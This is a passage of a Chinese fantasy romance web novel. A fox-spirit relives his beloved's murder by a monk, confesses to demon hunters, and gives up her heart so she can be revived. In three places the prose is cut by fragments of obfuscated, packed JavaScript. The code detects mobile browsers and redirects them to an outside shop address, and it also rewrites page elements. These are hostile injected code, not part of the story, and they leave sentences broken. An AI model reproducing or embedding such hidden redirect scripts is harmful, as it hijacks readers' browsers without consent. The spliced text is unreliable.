“出来。” 他苦笑,在百里苍嘲弄的眼神中现了身。 “应公子不好好待在你的狐狸树,跑到我这茅草屋来做什么?” 应无悰道:“碰巧路过,听闻百里姑娘居住于此,多看了两眼。” 百里苍意有所指道:“应公子的两眼还真是有些长。” 应无悰一时无言。 他本来也不能再说什么。 百里苍问道:“你就没有什么想和我说的吗?” 她这话意味深长,仿佛在说只要你肯正视自己的内心,我就大人不记小人过原谅你。 应无悰看着她的裙摆良久,道了一句:“百里姑娘想听,那我便祝你……新婚快乐,百年好合。” “好好好,”百里苍死死盯着他,眼睛瞪得老大,嘴角扬起一抹几乎要将人淹没的嘲讽,“我会与人百年好合,应公子这样的人,却只能孤独终老。” “借姑娘吉言。” 他如此油盐不进,百里苍失去了同他攀谈的兴趣,转身回了屋,同男子一起装扮起屋子来。 应无悰站着看了一会,随着一朵朵红花挂起,他脸上笑意愈盛,眸中悲痛却愈烈。 回到狐狸树时应无悰手中多了坛酒,人形狐狸知道他最近心里难受,早早便把其他狐狸带去玩水了。 他径直走向最顶层的那间树屋,推开门,屋内还保持着百里苍离开时的样子。应无悰给她买的裙子整齐的叠在柜子内,首饰则摆在梳妆台上,桌子上还有她最喜欢的蜜饯…… 应无悰一件一件的看过去,一点一点回忆着两人的经历,回忆结束的时候,酒也喝完了,他脱下外衫,规规矩矩地躺在了床上,百里苍喜爱的茉莉香包围了他,他沉入了一个梦中。 应无悰第一次见到同族是在一个春日,那时他虽还是小孩模样,却已不知在人间游荡了多少年,找到他的是一位青年,名唤沧立。 沧立说,他们是一类妖,并且这类妖很特殊,如果不知其中秘密的话,他未来会很痛苦。 应无悰问他:“我们是什么妖?” 沧立苦笑着吐出两个字:“九离。” 那时的应无悰尚且不知这二字的含义,他笑着对沧立说:“还怪好听的。” 沧立摸了摸他的头,带他去了一处小镇,镇上有户人家正在办喜事,沧立隐了身形,带着应无悰站在一处屋顶上,这地方很高,足够两人看到整个成亲的过程。 在屋顶等了片刻,随着唢呐声的靠近,迎亲队伍也露出了全貌,应无悰极为喜欢这种热闹的场面,他欢喜的看了一会,发现沧立没有他想象中的高兴,而是目不转睛的盯着那顶轿子。 不等他询问,新娘被新郎扶了出来,两人携手跨进大门,在贺喜声和笑容堆叠的海浪中模糊了身影。 “你认识她?” 沧立仍盯着那处院子,视线早已变得模糊。 “嗯。” 他突然蹲下来,以低到只有两人能听见的声音说道:“她是我爱的人。” 应无悰也学着他压低声音说话:“既然爱她,为什么和她成亲的人不是你?” 沧立揉了揉他头,笑得很无奈。 “因为,每一只九离妖,都注定要与爱的人分离。” 应无悰似懂非懂,这里已看不见新娘子的身影,沧立带着他去到院子内,让他待在原地不要发出动静,自己则偷偷往贺礼堆里放了口箱子,带着应无悰离开了这里,此后余生,再也没见过这位女子。 应无悰跟着沧立回了他的住处,那里还有另外两只九离妖,一男一女十分喜欢应无悰,总是拿各种妖术逗他,在三人的照顾下,应无悰渐渐长大,也知道了九离妖身上背负的秘密。 据说,九离妖曾是受上天眷顾的妖族,自诞生起便拥有挥之不尽的好运,凡与之亲近之人都会一生顺遂,但在上千年前,人间突然降下天劫,九离妖都死在了那场浩劫中,只有一只,以半数气运为交换逃过一劫,空出的那一半则被厄运填满。 从那以后,九离妖的繁衍方式便从胎生变成了死后气运散去,孕育出更多的九离,并且这些后代都身负一半厄运,不动情的时候还好,若是爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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应无悰望着漫山的桃花,命运仿若林间穿梭而过的蝴蝶,留下惹人遐思的惊鸿一瞥,随后便消失在了杂乱无章的山林之中,将想要窥探其面容的人留在了落英缤纷的林中,找寻不到出路。 时光催花落,桃花开落复始的第十年,应无悰决定下山了,沧立将他送到了山脚,嘱咐道:“记住九离一族的禁忌。” 这十年来他日夜思念一个人,有太多想做的事不能做,太多想说的话不能说,只能在心中辗转一遍又一遍,直到被刻进灵魂和□□深处,一半带进地里,掩埋在无人处;一半随风消散,吹拂过她的墓碑。 沧立消瘦了。 应无悰有些可怜这个人:“你没有和她有关的东西吗?” 沧立抚着胸口,那里贴身藏了个物件,她不知道,命运也不知道。 就这样过完一生吧。 应无悰想,若是他碰到了心爱之人,也定要把爱死死摁在心底,不让上苍听到只言片语,不给命运伤害她的机会。 后来他在人间辗转多年,始终没有遇到让他心动的女子,反而遇到了到处坑蒙拐骗的九尾狐狸,狐狸说,但凡跟着她混的妖,修为和爱情至少会得到一样,别的妖都不信,偏偏应无悰鬼上身似的信了,去了狐狸树才发现还有一群不大聪明的狐狸。 爱情? 没有。 修为? 九尾狐忙着到处骗妖,甩了两本从地摊上买来的功法便把狐狸打发了。 虽然狐狸不靠谱,但此处风景甚是美丽,应无悰干脆住了下来,有事没事就和狐狸一起抓鱼玩,后来九尾狐因骗了不该骗的妖,大打一场后受了伤,被一位王爷所救,芳心暗许,直接抛下狐狸树一大家子去了。 应无悰被迫当起了家长,每天绞尽脑汁怎么把这群蠢狐狸引上正途,这样的日子过久了,他早已忘记自己还有一位未曾相遇的相爱之人,直到那日妖市初见,他终于捕捉到了蝴蝶的身影。 39. 爱恨成空 应无悰从梦中醒来,枕头意外的湿了一片,他不敢多看,匆匆起身,走到门边时又忍不住回头,目光眷恋的看了一眼,关上门离开狐狸树。 “每一只九离妖都注定要与爱人分离。” “在心爱之人成亲当日送上一份贺礼,是九离的宿命。” 应无悰已经历了前者,正要去实现后者。 真正到了这一刻,他才懂得当年沧立拉着他站在屋顶时的心情,无奈和痛苦充斥了内心,其中还夹杂着一点庆幸,庆幸命运开恩,给了他们旁观和送上一份礼物的机会。 一生一次的贺礼当然得选贵重的,应无悰昼夜不歇的跑了几家古董铺才选到心怡的东西,是一支白玉雕成的茉莉簪,百里苍最喜茉莉,收到后或许会日日佩戴,一想到这里,应无悰那刻几乎快要停滞的心就又跳动起来。 怀揣着一颗炽热跳动的心到了百里苍的住处,这里竟意外的安静。 难道是喜宴办过了? 应无悰仔仔细细的看了一圈,地面整洁,花草鲜活,不像是来过很多人的样子,他折回去问周围的居民,得到的却是不确定的回答。 “那位姑娘?我前些天还见过她,或许是出门买东西去了吧。” 应无悰希望是这样,他在一旁的竹林里等,等到天黑,等到朝霞染红半边天,等到夕阳落下,百里苍依旧没回来,他察觉不对,推开屋门一看,那日买回的红绸还有一半没来得及挂上,正堆放在一旁的架子上,百里苍上妆的东西被她用完随手一放,厨房内还有择到一半的菜…… 应无悰可以确定,他不在的这两天,发生了让百里苍不得不匆忙离开的事。 他唤来狐狸,托他们四处打听百里苍的下落,自己则去妖市里转了一圈,来来回回问了几圈后,一个卖草药的小妖道:“是位穿红衣的姑娘么?我瞧她急匆匆的往东边去了。” 应无悰如获至宝,想也没想便立马动身,一路追一路询问,却始终没有从沿途百姓口中打听到百里苍的踪迹,她仿佛从人间蒸发了般,除了树屋和一些回忆外,什么也没给他留下。应无悰不禁反思,是不是自己猜错了?百里苍或许不是遇到事情才逃走,而是临时起意,想要换个地方生活,狐狸树毕竟还有他这个讨人厌的东西在。 他突然很迷茫,不知是该停下还是继续找寻,发呆的间隙,邻桌的壮汉说起一件奇事,兰丘自山神的诅咒降下后周围的草木便稀疏起来,如今到了秋天更是野草枯黄,漫山都是了无生机之景,谁知前些日子那些草木竟一夜之间复苏。 “骗人的吧?哪能这么神?” “这里离兰丘又不远,是真是假你自己去看看不就知道了,据传几十里内的草木都绿了呢!” 几人的对话还在继续,应无悰却已站起身来,冥冥之中有道声音告诉他此事或许与百里苍有关,他必须去一趟兰丘。 顺路行了十里左右,忽见一片绿意,恍若置身于初春,万物萌芽,飞鸟啼鸣,在这一片生机勃勃的景色中,他见到一个最不想见到的人。 “百里苍在哪?” 对方缓缓转过身子,正是百里苍带回的那个男子,他顶着与常人无异的外表,用毫无感情的语气道:“百里……苍……” 应无悰一把攥着他手,两指搭上手腕一脉,顿时愣住:“你……不是人……” 眼前之人单从外貌上看是位极为英俊的男子,实则却是只做工精细的傀儡,一举一动都要靠人操纵,如今操纵他的人似乎出了事,他自然不复往日的灵敏。 “百里苍在哪!百里苍在哪?” 应无悰一颗心几乎要跳了出来,他不敢想,他不敢想…… 傀儡呆滞的看了看他,跌跌撞撞朝着一个方向走去,边走边道:“百里苍……应……无……悰……百里……苍……应无……悰……” 应无悰一愣,急忙跟了上去,越往前走,绿意越茂盛,甚至不同时节盛开的野花都在逐一开放,应无悰跑了起来,他越跑越快,衣角在空中拖拽出急促悲凉的形状,突然,那份急促好像被什么东西打破,只剩下悲凉。 应无悰僵直的站在原地,面上留下两行泪水。 前面是一片花海,各种花朵争奇斗艳的挤满了草坪,蝴蝶穿梭其中,蓝天白云置于头顶,恍若身临仙境,在这片平生罕见之景中,静静躺着一个了无声息的人,身上还穿着他买的那条红裙,他踉跄着走上前,抱起早已断气的尸身,泪如雨下。 傀儡完成了操纵者留下的最后心愿,嘴角一挑倒在了地上。 “啊——” 一道撕心裂肺的痛呼声十分不应景的响彻在这片美景之中。 茫茫天地间似乎只剩下应无悰一人,怀揣着无穷无尽的哀恸,不知该向何处发泄。 人间的话本上写,人在失去爱人的时候,会不由自主的回想起两人美好的经历,应无悰想起了妖市初见,百里苍问他姓名的由来,其实他也想问百里苍同样的问题,只是一见她便什么也顾不了了。 如今,他遗忘的问题,命运给出了回答。 死后百里青碧,是为百里苍。 应无悰抬头,轻声对怀里人说了一句:“百里姑娘,我其实从一开始就爱上了你。” 百里苍的遗体被应无悰带回了狐狸树,她生前喜欢此地,死后葬在这里,大抵也是欢喜的。 应无悰在给她换衣服的时候发现了两道伤痕,一道是心口的致命伤,一道在心下三寸的位置,这道伤痕不像是为了杀她,倒像是为了取走某样东西。 应无悰不禁想起两人初见时受的伤,以及她说让他帮忙打的人,猜测百里苍便是死于那人之手,他将遗体留在狐狸树,托狐狸帮忙照看,自己则带着傀儡去了一个地方。 杜庄距离狐狸树有两天的路程,应无悰赶到时正值傍晚,天色灰而不暗,狂风作乱,卷起落叶万千,树枝随着风摇曳,一派萧瑟之景。 风雨欲来。 杜庄的主人在亭子里饮茶,听见脚步声扬唇一笑,道:“有客人来了啊。” 应无悰在他对面坐下的,面前早已备好茶水,他饮了半盏,温度刚好,明显此人擅算。 “我这茶如何?” “不如上一次喝的好。” 对方笑道:“上一次喝是什么时候?” 应无悰道:“与她初见之时。” “又是一位为情所困之人,你今日来找我,是想弄清关于傀儡和她的事吧,跟我来。” 应无悰跟着白衣男子进到山庄内,此处依山势所建,高处能望见外面连天的荒草,低处能抚过一片片娇艳的花朵,两人停在一座阁楼内。 “那位姑娘当时就在这里面挑的傀儡。” 应无悰抬眼望去,阁楼有三层,每一层都挤满了傀儡,他们穿着不同的服饰,长着不同的脸,但有一点却完全相同——像活人。 这些都出自眼前这位杜公子之手。 “她说要一个长得好看的男子,我让她来里面选,她却随便选了一个,让我猜猜,她不会是想借这傀儡刺激一下某人吧?” 应无悰眼底浮现一抹悲痛。 杜公子满意一笑,又道:“你今日主动来此,想必是与她之间有了结果,可那位姑娘却没有跟来,你又一脸悲痛,再让我猜猜,莫非她已不在人世?哎哟,两个相爱的人就这么错过了,真是可惜。” 他的话句句都是刀,应无悰脸色苍白,嘲讽道:“传闻杜公子是个喜欢戳人痛处的疯子,如今看来,倒也不算虚言。” 对方不以为意:“没办法,跟一群假人待久了,总要吸食一些活人的情感,不然我与傀儡有何区别?” 杜公子眯着眼,脚步轻浮的围着应无悰转了一圈,仿佛真的在吸食某些看不见的东西。 他睁眼,十分舒畅的叹了口气。 “好了,公子的报酬我已收到,作为回报,我可以再给你一样东西,傀儡的记忆。” 应无悰猛的抬头,眼里全是不可置信。 杜公子哈哈大笑起来。 一刻钟后,应无悰揣着一颗珠子走出山庄大门,杜公子脸色挂着三分懒散的笑,招呼他道:“下次还有这种事,别忘了来找我。” 应无悰头也不回的走了:“杜公子这种疯子,还是少来往为好。” 对方站在山庄外,看了一眼连天的荒草,叹道:“一念之差永失所爱,换作谁能不疯呢?” 应无悰回到住处,按疯子所言,将血滴进了珠子,瞬间光华流转,百里苍与傀儡的过往一一浮现在眼前。 离开杜庄后,百里苍往傀儡里放入了一缕自己的魂魄,他当即舒展了一下四肢,走到百里苍面前,对着她温柔一笑。 百里苍叉腰:“死应无悰,看我气不死你!” 傀儡跟着温柔附和:“对,气死他。” 应无悰笑了。 百里苍带着傀儡暂居在狐狸树周边,每日除了干各种活外还要和傀儡装出恩爱的模样,偏偏应无悰稳如泰山,她时常气得在屋子里摔东西。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653616|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >应无悰失笑,以前怎么没发现她还有小脾气? 百里苍许是觉得这样刺激不到应无悰,干脆买了一大堆成亲用的东西回来,如她所愿,应无悰慌了神,结果却是两人再度不欢而散。 她把自己关在屋里哭了一夜,看着这段回忆的应无悰同样泪流满面。 第二天一早她便带着傀儡出了门,应无悰收敛悲痛,目不转睛的盯着,生怕遗漏了什么。百里苍如往常一般在镇上转悠,走着走着突然钻进了一旁的巷角,傀儡晚半步进去,从他的视角望过去,唯一可疑的人是一个从未见过的和尚。 百里苍未多做停留,甚至连那个临时的家都没回,带着傀儡匆匆逃去,她专走山路,妖力全开,一眨眼便远去数百米,如此这般逃了一个多时辰,她停在路边休息起来。 应无悰注意到此地离发现百里苍尸体的地方很近,那人应当是在附近追上来的。 果然,百里苍休息了不到一刻钟,刚想起身继续赶路,一道身影从身后的林中缓缓走出,看装束,正是街上突兀出现的那个和尚。 应无悰攥紧了拳头。 “施主,你让贫僧好找。” 百里苍唇色泛白。 “死和尚,上次打了一架不够,还想挨打是吧?” “阿弥陀佛,施主何苦挣扎,贫僧说了,只要交出界珠,可饶你一命。” 界珠? 他就是为了这个东西才杀百里苍? 和尚想要东西,百里苍又不给,两人毫无疑问的打了起来,百里苍一出手,应无悰便愣在了原地,如此纯净庞大的妖力,他竟一直没发觉。 和尚错身躲开百里苍的杀招,扯下袈裟一挥,星星点点的红尘散落开,一沾到皮肤便会烫出一小块空洞,霎那间又消失不见,百里苍顿时觉得功力大散,这东西烫烧掉的是魂魄,若再来几次,怕是要神形俱灭,不得已,她只能继续往前逃。 又逃窜出两里地,和尚不慌抖开袈裟往天上一抛,红尘如雪飘落,百里苍不得不停下脚步,双指一并,往额心抹了道血痕,一圈金色的波纹从她额心荡出,顷刻间便将和尚囊括在内。 回忆外的应无悰愣住了,这是一道界。 界主人对界内的一切有着绝对掌控权,包括人的生死。百里苍并没有打算让和尚活着回去,一出手便是杀招,对方不紧不慢的一挥手,两相对撞,百里苍飞了出去。 “是不是很好奇,为什么打不过我了?” 百里苍无声看着他。 和尚好心解释道:“上一次是我低估了一只界妖的修为,才让你侥幸逃脱,这一次……你必死无疑。” 他抬手,十步之外的百里苍飞了过来,被他扼住喉咙。 “交出界珠,我尚可饶你一命。” 百里苍闭了闭眼,好似认了命,开口道:“界珠……界珠在……” 她气息虚弱,说的话断断续续,正常距离下很难听清,和尚一掀眼皮,将头侧过去几分,百里苍突然双眼一睁,一手抓住扼住喉咙的手,一手覆在和尚头顶,磅礴浩瀚的妖力渡了过去。 百里苍带着同归于尽的决心自燃妖力,巨大的冲击将两人分开,四周的花草树木顷刻间化为灰烬,她躺在地上,灭顶的疼痛压过了一切感官。 和尚应该死了吧? 回忆里和回忆外的人都这样期盼。 然而尘埃落定,和尚还是活着走出了那片虚无,他一抹嘴角血迹,彻底没了看她挣扎逃命的心思。 “你是我见过,最有骨气的妖。” 一柄剑悬浮在侧,毫不留情的刺穿心脏,将她钉在了地上,百里苍手握上剑身,却没了拔剑的力气。 一只手握上剑柄,替她将剑拔了出来,红衣湿了一大片。 百里苍的心空了。 和尚嗤笑一声:“界妖竟然没有心。” 说完挥剑在心下三寸割开一道口子,两指探进一摸,掏出颗血红的珠子来,他擦了擦上面的血,将珠子放在靠近心脏的地方,心情十好的放过了远处那只傀儡,哼着陌生的曲调走了。 在他身后,百里苍那双好看的眸子以难以挽回的速度暗了下去,傀儡回到她身边时只来得及看她用最后的生命启唇,说了三个字。 “应……无……悰……” 应无悰的眼泪砸到掌心,先前太过用力攥出的伤口在疼,百里苍说完那三个字后,极致的绿意从身下蔓延开,荒草又绿,百花盛开,她所有携带的生机都留在了那,一丝也没给他留下。 40. 造化弄人 数十年前的画面正在淡去,那股滔天的爱恨悲痛却留了下来,顺着那双共同的眼传到两人心中,书环在其中苦苦挣扎,始终不得出路,突然有人抓住她的手,道了一句:“醒来。” 干净利落的两个字,没有任何感情起伏,却立马将她从混乱的情绪中拉了出来。 睁眼一看,裴殊正坐在床边,一手拉着她,一手往她眉心渡灵气,而应无悰,他双手撑地跪在床前,哭得癫狂,显然还沉浸在那段往事中无法自拔。 书环摸了把自己的脸,发现同样泪水横流,眼睛又酸又涩。 门被人大力推开,兰驿一群人赶了回来。 他首当其冲道:“来来回回这么多趟总算把你捉到了!” 待他将应无悰上上下下看了个遍后却犯了难。 “师姐,这可怎么是好?” 他知道怎么捉要逃跑的妖,却不知对待一只悲痛欲绝的妖。 莫临江看了他一眼,道:“看紧。”自己则上前查看书环的状态。 “莫姐姐。” “你看到了他的过去?” “嗯。” 裴殊收了手,想要起身,书环却快他一步,将他摁住,把头靠在他肩上。 “别动,我没力气,让我靠一会。” 她那双眼睛满是血丝,裴殊看了一会,最后还是没有起身。 白石湫不喜与人待在一处,进屋后便站在了窗边,桑荷自然紧紧跟着她,莫临江和兰驿一左一右守着断臂人,一时间没有人说话。 书环叹了口气,唤他:“应无悰,界妖是有心的。” 他突然止住哭声,抬头,不可置信道:“你在说什么?” “我说,界妖是有心的。” “你在骗人。” “你是九离妖,一个念头就能让我倒霉一生,我哪敢骗你。” 应无悰的呼吸变得急促起来,他膝行两步想要上前,却被裴殊的眼神镇住,哽咽道:“她的心在哪?” 书环没回答,转而问莫临江:“莫姐姐,我对有些事不太了解,你说倘若一只界妖的肉身已死,心却还在,这种情况下还能设法使她重塑肉身吗?” 莫临江思虑片刻,道:“将心放到界中滋养百年,或许能得一线生机。” 于是书环看向他:“你都听到了吧。” 应无悰认命:“要我伏法可以,但你们要先答应我,无论发生什么事,都要将她的心放在界中百年。” 莫临江颔首:“好。” 应无悰松了口气,眉间那股执念似乎淡了一些:“你们想问什么就问吧。” 书环道:“你与界妖百里苍一见钟情,又因身负诅咒不得不与其分开,后来她意外惨死,你通过傀儡得知她是被一个和尚所杀,目的是取走她的界珠。” 除了裴殊以外的人听到界珠二字俱是一愣。 她追问道:“后来呢?后来发生了什么?致使你做出这些事。” 应无悰闭了闭眼,百里苍的死于他而言是心结,每次想起都不免心痛,缓过那股劲后,他慢慢的回忆起来。 “得知百里苍的死因后,我尝试追查那个和尚的来历,经过一番打听,我找到了百里苍化形的地方,我去到那里,当地的一只兔妖告诉我,百里苍在那生活了百年,她性情温和,从不恃强凌弱,平日里也会护着它们那些小妖,可突然有一天,一个和尚来到那里,向她讨要一样东西,百里苍不给,两人动起手来。” “百里苍担心那些小妖受了波及,打伤和尚后逃了,一直逃到狐狸树才停下,后来……后来她担心和尚伤害狐狸树的妖,又匆匆逃去。” 应无悰吸了口气,只觉喉咙剧痛。 “我找寻数年,一丝有关和尚的消息都没打听到,于是转而去寻重生之法,这一找就是几十年,一年前我意外听到一个法子,说是人的供奉和愿力能塑仙灵,我想着这么多年都没找到重生之法,此举大概太过逆天,难为世间所容,不得已,只能用了这个法子。” 莫临江问道:“你从哪里听来的这个法子?” “在客栈歇脚时听路过的屠夫说起的,他说完就走了,长相过目就忘,没有其他特点。” 兰驿嘀咕道:“怎么感觉像是专门去给他说这个办法的?” 莫临江又问:“你是通过何种方法让霉运遍布兰丘城的?” “我是九离妖,因先祖逃过天劫,所以九离一族背上了诅咒,原本身负一身好运,如今一半好一半坏,我将霉运散入城中,引人去神像面前参拜,再把参拜过的人身上的霉运收回,次数一多,他们就信了这尊神。当然,为了弥补他们,我一般会在选人前低价卖给他们一件宝物。” 书环心道难怪那方香炉会到她手上。 莫临江蹙眉:“九离?我从未听过这种妖。” 应无悰失笑道:“身负好运与厄运的妖,若是被人知道我们的存在,恐怕终其一生都会受人控制,因此九离一族从不对外表面身份,大多隐其来历,抱憾终身。” 莫临江了然:“竟是这样。” 她转身问白石湫:“白少宗主有什么想问的吗?” “没有。” 桑荷却道:“我有。” 裴殊也道:“我有。” 桑荷:“裴公子先问。” “那天夜里的那个纸人是你派来的?” 应无悰不解:“什么纸人?” “一个长相恐怖的纸人,会学人说话,会简单的术法。” “不是我。” 裴殊眯了眯眼:“你确定?” “这位公子,事已至此,若真是我干的,又有什么隐瞒的必要吗?你口中的纸人确实不是我放的。” 裴殊垂眸沉思起来。 桑荷见状往前走了两步:“该我了该我了!” 见白石湫冷冷瞥了他一眼,遂解释道:“我从来没见过九离妖,好奇嘛!” 说完也不管她什么表情,问应无悰道:“方才这位姑娘说,你因身负诅咒和爱的人分开,为什么?” 对方笑出了眼泪,无可奈何道:“因为,九离身负的一半厄运,会转移到爱的人身上。” “那可以不承认爱她啊。” “很多九离妖都这么想过,可它们并没有瞒过命运。每一只九离妖,都注定要与爱人分离。” 应无悰侧头看向窗外,四四方方的木框内,天色湛蓝,草木青碧,阳光斜斜地照进来,洒在那张满是阴暗罪孽的脸上,痛苦悔恨一点点褪去,露出了他原本的样貌。 这一刻,好似回到了狐狸树,他在火堆旁不停的翻着鱼,一群小狐狸捧着叶子碗等在一旁,尾巴带着期待一下又一下的拍在地上,而百里苍则坐在他身边,仰着头,看着蓝天白云,给他描述天空又飞过了几只鸟,又聚散了几朵云。 应无悰笑了,他转身面向书环,十分恭敬的跪了下来:“姑娘,现在可以告诉我她的心在哪了吧?” 书环看着他:“她的心,早就给你了。” 应无悰以为她是在糊弄他,顿时一怒:“你耍我!” 书环看着他的眼睛:“她给你的那颗石头。” 应无悰一腔怒火刚刚燃起,顷刻间被浇灭了个干净,他手抖着摸向脖子,顺着绳子将那颗石头从层层衣物的包裹中拉起,取下。 许多年过去了,故人已逝,自己也变了模样,唯独这颗石头还保持着最初的模样,他也庆幸它还保持着原貌。 一滴泪落下,不偏不倚砸中那颗火红的石头,应无悰虽不舍,却也怕这群人反悔,急忙将石头递给了莫临江。 “劳烦道君了。” 莫临江将其郑重的收了起来,应无悰见了,又道:“我还有一事相求。” “你说。” “我有一些东西和她的尸体留在了狐狸树,那些东西,道君若是有喜欢的便留下,剩下的与尸体一起下葬吧。” 说完起身,身上蔓延出许多如同丝线般的东西,一半白,一半黑,白色那部分断开,一小缕落到书环体内,剩下的大部分散落城中。 他散尽好运,不消半日,兰丘城这场霉灾就能止住,他跪坐在地,等待被收入法器中,莫临江却在此时问他:“她的尸体保存完好?” “是。” 莫临江略带不忍道:“其实,把心脏放回身体内,再将身体放到界中,她恢复的可能性会更大。” 应无悰茫然失措的抬头:“你是说……我原本有机会不伤一人就能救回她……” “是。” “这……这可真是……造化弄人啊……哈……哈哈哈……” 应无悰伏倒在地,形容癫狂的哭笑起来,像是要将多年的执着与悲痛发泄出来。 书环不忍的撇过头去,兰驿红了眼眶,取出玉瓶将他收了进去。 狐狸树下,一个人正不停翻弄着火堆上的烤鱼,一旁斜躺着的女子看了一眼他的一只人耳和一只狐耳,皱眉道:“这么多年过去了,连个完整的人形都没修出来。” “还不是怪你,说着出去给我们找修炼秘籍,结果呢?什么都没带回来!” “这也能怪我,我见过修出人形的妖怪,没有哪一个是靠秘籍,说来说去还是你太笨。” “你才笨!别的妖怪都不爱搭理你!” “那是我太漂亮!它们怕爱上我!” “我呸!” “别把口水喷烤鱼上了!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678356|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我呸!” “死狐狸你找死!” 两人你一嘴我一嘴的吵了起来,一只赤狐从远处跑了过来,它步子迈的极大,又不懂提前减速,一直跑到火堆前才停下,硬生生撞飞了一堆烧得火红的炭。 女子早在看见它身影的那刻就闪开,因此一点没被烫到,人形狐狸就没有那么幸运了,他和一堆炭面对面撞在了一起,被烫得嗷嗷叫。 “小临!说了你多少次!烤鱼的时候跑过来要刹爪!” 小狐狸噗嗤噗嗤喘着粗气道:“捉妖师……有一群捉妖师上来了。” 九尾狐从树上跳下来。 “哪里的捉妖师这么没有眼力劲?敢到我的地盘上来。” 人形狐狸数着身上被烫出的泡,损她道:“知道你是罕见的九尾狐,特意来捉你的。” “他们敢!” “你的相好都死了,他们还有什么不敢的。” 九尾狐神情落寞一瞬,气愤的取出宝剑,扬长而去。 人形狐狸在后面扯长了嗓子问:“不是,真要打啊?” 九尾狐毫无顾忌的和书环一行人撞上,一柄寒气四射的宝剑横在身前,剑身刻有“天照”二字。 “来者何人?” 书环看了沉默的众人一眼,上前一步道:“受应无悰所托,来处理一些东西。” 九尾狐狐疑的看了她们一眼,收起剑,捋着身前的头发道:“这死小子终于想起狐狸树了,他人呢?为什么不自己回来?” “有事脱不开身。” “什么事能拖住他几十年?” 书环跟在九尾狐身后,心想不仅是几十年,往后余生,应无悰都不可能再回来了。 九尾狐将她们带到狐狸树前,人形狐狸正重新搭好火堆,将烤鱼架回去,见她领来一群身负法器的捉妖师,顿时吓得手脚都不利索了。 “诸位……是?” 这句话提醒了九尾狐,她似乎没有仔细盘问过就将这群人带回来了,莫非是她们用什么术法蛊惑了自己? 她狐疑的看向书环。 莫临江道:“无端门莫临江,劳烦姑娘带路。” 九尾狐不知想到了什么,脸色一变,十分热络的将众人请进去。 “久闻莫少宗主大名,未曾想竟有缘一见,这位想必就是白少宗主了吧,果然是年少有为,气度非凡。” 一只妖夸赞捉妖师,怎么看怎么诡异,好在众人只是来收拾下东西,因此未曾深究,九尾狐摇着扇子,推开最顶上那间树屋的门。 “应无悰几十年前将东西留在此处,托几只狐狸帮他照看着,也不许人进,如今总算能知道里面都放了些什么了。” 说着抬眼一看,屋内正中摆着一口冰棺,透过缕缕寒气,依稀能看见里面躺了个人。饶是九尾狐见多识广,却仍被吓了一跳。 “嘶……这是哪里来的尸体?” 莫临江上前,推开棺盖一看,百里苍面容平静,尸体保存的非常完好,除了面色太白外,几乎看不出这是个死人。 她将那颗心取出,感受到百里苍的存在,它主动钻进了身体,屋内顿时光华流转,顷刻间收敛进百里苍体内。 棺盖合上,收进乾坤袋中,这一躺的任务已经完成了大半。 书环将屋内箱子里的东西挨个看了看,发现都是些古董和稀世珍宝。 “这……” 九尾狐看了一眼,语气怅然道:“这或许是应无悰找来,想讨她欢心的吧。” 莫临江让兰驿一并收起来,到时候一起放在界中,等百里苍醒来让她自己处理。 收到最后一箱时书环从里面摸了颗珠子出来。 “这个不能收进去,”她递给莫临江:“傀儡的记忆。” 这也算意外之喜,兰驿收完东西后,众人同九尾狐告辞,她执意要送一程,途中几番欲言又止,书环问道:“狐妖姐姐还有话想说?” 九尾狐对她投去一个感激的目光,问白石湫道:“听说白少宗主得一仙琴,有起死回生之效。” “并不能起死回生,世人夸大了。” 九尾狐脸上的笑容渐渐凝固:“那……少宗主可知如何寻一人的转世?” 白石湫冷淡道:“你若与他有缘,两人自会相遇,若无缘,强求也无用。” 说罢转身离开。 九尾狐喃喃道:“要……有缘才行吗?” 她回头,狐狸树在此伫立百年,还会有下一个百年,它沉默的望向众生,悲欢离合皆不入眼。 “分离的人还会再相见吗?” 或许能。 或许不能。 但那都是千百年后的事了。 41. 端倪 狐狸树西去几十里,有一处无端门前辈留下的界,里面是一方世外桃源,用来滋养魂魄最是不错。 几人连夜赶路,将冰棺连同那堆宝物放到了界中,莫临江留下阵法,此界往后只能从内部打开,如果百里苍没有醒来,那它将永久封闭,成为死界。 兰驿让桑荷帮忙举着铜镜,方便他对镜整理头发,将最后一缕头发扎好后,他问书环:“搭子,你觉得她能醒来吗?” “我觉得会。” “为什么?” 书环打了个哈欠:“那些虐恋情深的话本不都这么写的吗?” “可她若是醒来后知道真相了呢?” “哎,那又是另外伤心的故事了。” 兰驿不再琢磨这件事,几人找了间客栈,吃过饭后睡了一觉,这些日子太累,这一觉直接睡到第二天一早。 莫临江梳洗完想起还有颗承载傀儡记忆的珠子,取出将整段记忆从头到尾看了一遍,看到和尚出剑杀百里苍时她神情一滞,起身敲开了白石湫的房门,桑荷正在里面赖着不走,因为这事,她眉间多了一丝不耐。 “什么事?” 莫临江抬手,白石湫侧身让她进去,她没避讳桑荷,将那段记忆放了出来,看到和尚出剑时白石湫如她所料般皱起了眉。 “这似乎是……无端门的剑法?” 